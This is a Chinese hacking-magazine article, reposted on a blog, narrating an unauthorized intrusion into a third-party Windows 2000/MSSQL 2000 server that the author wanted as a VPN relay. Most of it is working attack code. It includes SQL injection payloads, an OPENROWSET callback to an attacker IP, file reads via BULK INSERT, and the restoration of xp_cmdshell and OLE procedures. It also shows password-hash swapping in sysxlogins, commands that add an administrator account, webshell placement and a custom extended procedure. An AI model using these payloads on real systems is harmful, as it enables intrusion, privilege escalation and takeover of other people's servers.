挑战BT-Sa

此文已经发于11期 黑客手册

By NetPatch
由于工作原因,疏于管理肉鸡,用了许久的VPN肉鸡飞了……米办法,因为上一些国外站点需要用VPN,只能再去找几台做VPN用用了。于是找GOOGLE帮忙,搜了下。不一会就找到了个有注入且为SA权限的肉鸡,心想,今天运气不错嘛。一找就给我了个SA。可能有些朋友看到这边,或许该起哄了,都SA了,这还好意思写文章出来,这类文章多的跟米一样,不差我这篇吧。呵呵,如果是一般的情况,我也不会厚脸皮写出来了。请耐心继续往下看,从中你可以学到xp_makecab,xp_unpackcab, xp_regread, sp_configure等扩展存储的使用。
OK,我先说下这台BT肉鸡的大概情况。
2K+MSSQL2000+IIS
对外开放80,1433,3389端口,且此服务器上只放该站一个站点,而且后台密码是写在ASP文件里的(前面猜表时并未找到后台相关的表,于是猜测对方是把密码写在ASP文件里了,进去后肯定了我的猜测)。
网络上公认的危险存储扩展均被删除,且无法恢复。
(后来确认是 odsole70.dll,xplog70.dll,xpstar.dll三个DLL被删除)
这三个DLL的删除,意味着N多的存储扩展用不了了。也就意味着,虽然是SA权限,但你却不能执行命令,不能列目录,不能读改注册表,不能恢复被删除的存储扩展。
OK,大体情况已经说了,难度系数是有D,看我是如何击破这坚固的堡垒的。
虽然对方开放了1433端口,但是这并不代表着WEB和数据库就肯定是在一快的。曾经就碰过这类的机器,虽然开着MSSQL服务,但是却是给别的WEB机器提供的。节省资源,又相对安全。于是我先在本地用NC监听80端口(反连看IP,自己机器并不一定要有装MSSQL的),在注射点上注射如下语句:
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=111.111.111.111,80;', 'select * from dest_table') select * from src_table;–
因为我们只要看IP,所以其他的参数就无所谓了。而端口设置成80,是为了预防一些机器只让访问外部80。
没一会,就有机器连过来了,一看IP。嘿嘿,正是目标机器。如图1

于是大胆进行下一步计划——获取WEBSHELL。
要获取WEBSHELL,首先我们得需要路径,如何去获取路径呢?由于许多存储扩展已经不能使用,我们没办法执行命令,列目录,查看注册表等操作。于是,我脑袋里闪过的IDEA就是,读取MetaBase.bin文件!有经验的朋友都知道,此文件乃IIS 5.0的网站配置文档。可怎么读呢?
drop table [nspcn]
CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL)
BULK INSERT [nspcn] FROM 'c:\boot.ini’ WITH (KEEPNULLS)
insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1)
select * from [nspcn]
上面的代码利用BULK来读取boot.ini文件,本地测试成功读取。
下图是本地测试的抓图 如图2

于是转而读取MetaBase.bin文件,但是当时测试的时候失败了。读取的内容为空。
下图是本地测试的抓图(由于虚拟机只有2K3有装MSSQL,我从2K上COPY了个MetaBase.bin) 如图3

于是我又想到了xp_makecab,xp_unpackcab两个扩展存储,于是用了如下语句:
;exec master..xp_makecab ''C:\WINNT\Help\iisHelp\common\404b.cab ','mszip',1,''C:\WINNT\Help\iisHelp\common\404b.htm'
–//备份404b.htm页面
–//由于当时忘了xp_unpackcab有个参数可以解压重命名的,哎,真是大意啊。于是用了下面的烂招
Exec master..xp_makecab ' C:\WINNT\Help\iisHelp\common\404b.htm ','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin'
–//结果肯定失败了!
没办法,只能另图他法了。得想办法恢复那些存储扩展才行。先用NC连了下对方的1433,根据反馈结果表示可以连上。如图4

于是用如下语句加了个SYSADMIN权限的用户
;exec master.dbo.sp_addlogin nspcn,netpatch–
;exec master.dbo.sp_addsrvrolemember nspcn sysadmin–
–//后来才发现我语句写错了,第二句漏了个逗号!
–//正确的应该是exec master.dbo.sp_addsrvrolemember nspcn, sysadmin–

用查询分析器连接上去,发现只是个PUBLIC权限,晕死我了。当时也晕忽忽的,不知道哪里错了。用NBSI也没加上。
于是想到了一个疯狂的点子,修改SA密码。如何修改呢?如果我们直接用;exec master.dbo.sp_password null,nspcn,netpatch—修改,虽然有办法修改,但万一恢复不了扩展,我们又不知道原密码,没办法将密码修改回去。那么我们将完全暴露,得想个巧妙的方法才行。
于是想到了,先复制SA的HASH到A用户,然后再把B用户的HASH复制给SA,当然我们知道这个B用户的密码。这样我们就可以用知道的密码连上去了,修改回去时也把A用户的HASH复制给SA就可以了。
我们先设想下修改后的情况,如果密码修改成功,那么网站立即崩溃爆错。如果不在最短的时间内恢复,那么我的行动将会暴露。结合上面的“万一恢复不了扩展”我制定了如下计划,准备好恢复sp_addextendedproc存储扩展的SQL语句,以及此扩展恢复后需要恢复存储扩展以及要执行的命令,当然最后一条是把SA密码修改回去。相关SQL如下:
Use master
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
–以上是恢复sp_addextendedproc
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
–以上语句是恢复各存储扩展
exec master.dbo.xp_cmdshell 'net user nspcn netpatch /add&&net localgroup administrators nspcn /add’–
;DECLARE @shell INT EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user nspcn netpatch /add&&net localgroup administrators nspcn /add ','0','true'
exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;–

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user nspcn netpatch /add&&net localgroup administrators nspcn /add ")')
–为了预防万一,用了多个存储扩展执行添加nspcn用户的命令
update sysxlogins set password=(select top 1 password from sysxlogins where name=’a’) where name=’sa’
–重要语句,把SA密码修改回去

但是,在默认情况下master.dbo.sysxlogins是不允许修改的。我们需要开启这个权限。
执行exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE–后,我们成功开启了修改权限。于是建立了2个用户,密码均为netpatch
先用update sysxlogins set password=(select top 1 password from sysxlogins where name=’sa’) where name=’a’
把SA的HASH复制过去。
然后再用update sysxlogins set password=(select top 1 password from sysxlogins where name=’b’) where name=’sa’
把密码修改为netpatch
修改后立即用查询分析器执行已经准备好的命令,但当命令执行完毕时,发现一个很严重的问题,就是odsole70.dll,xplog70.dll,xpstar.dll三个DLL已被删除,无法恢复我们需要的存储扩展了。如图5、如图6


再次陷入困境。在百般无耐的情况下,只能用一个没办法的点子——猜WEB目录路径。
用读文件的方法,尝试读取网站的主页。后面还是RP好,猜了4次后被我猜到了WEB目录。D:\网站名\index.asp
当文件内容被读取出来时,那个兴奋啊,于是立即用差异备份,备份了一个WEBSHELL。如图7

从WEBSHELL中找到了数据库连接文件,获得了SA的密码。
然后再从WEBSHELL上传了一个自己的存储扩展,用海阳ASP木马的的数据库管理功能,连接数据库后,用如下语句添加了一个自己的存储扩展!
use master
exec sp_addextendedproc 'xp_nspcn', 'xp_nspcn.dll'
grant exec
on xp_npsed
to public
再用自己的存储扩展执行如下语句
Exec master.dbo.xp_nspcn 'net user nspcn netpatch /add&&net localgroup administrators nspcn /add'
再用添加的用户成功登陆了3389。如图8

虽然进去了,但这是侥幸进去的,并不是完全靠实力进去的,心中有所不服。心想,要是现在不解决这个问题,以后碰到类似的,那不就更郁闷了。于是再次研究各个存储扩展的语法。研究后才发现了自己前面犯的三个严重错误,导致自己绕了一大圈才进去。
第一。本可以利用xp_makecab、xp_unpackcab配合404页面,获取路径!
下面是相关的SQL语句。

Exec master..xp_makecab 'C:\WINNT\Help\iisHelp\common\404b.cab','mszip',1,' C:\WINNT\Help\iisHelp\common\404b.htm'
–先备份404b.htm页面
Exec master..xp_makecab 'C:\WINNT\Help\iisHelp\common\metabase.cab','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin'
–备份metabase.bin文件到C:\WINNT\Help\iisHelp\common\目录
exec master..xp_unpackcab 'C:\WINNT\Help\iisHelp\common\metabase.cab',' C:\WINNT\Help\iisHelp\common\',1,' 404b.htm'
–将MetaBase.bin从C:\WINNT\Help\iisHelp\common\metabase.cab中解压出来,并重命名为404b.htm
然后我们访问该站不存在的文件名,就可以利用404b文件帮我们列出文件内容了。
第二。就是加SYSADMIN权限的SQL用户时漏了个逗号,导致添加帐号失败!
第三。用了笨办法来修改SA密码!
其实完全可以用exec master.dbo.sp_configure 'allow updates', 1;RECONFIGURE WITH OVERRIDE; update sysxlogins set xstatus=18 where name=’nspcn’–来提升SQL用户权限。
虽然饶了个大圈子,但却长了不少经验……值!中间曲折的过程,让自己更加懂得如何应付相关的状况。嘿嘿,不知小弟写了那么多,您是否有什么新的收获呢?欢迎到“黑手”官方论坛或www.icehack.com or www.nspcn.org与我交流、探讨。

相关日志

抢楼还有机会... 抢座Rss 2.0或者 Trackback

发表评论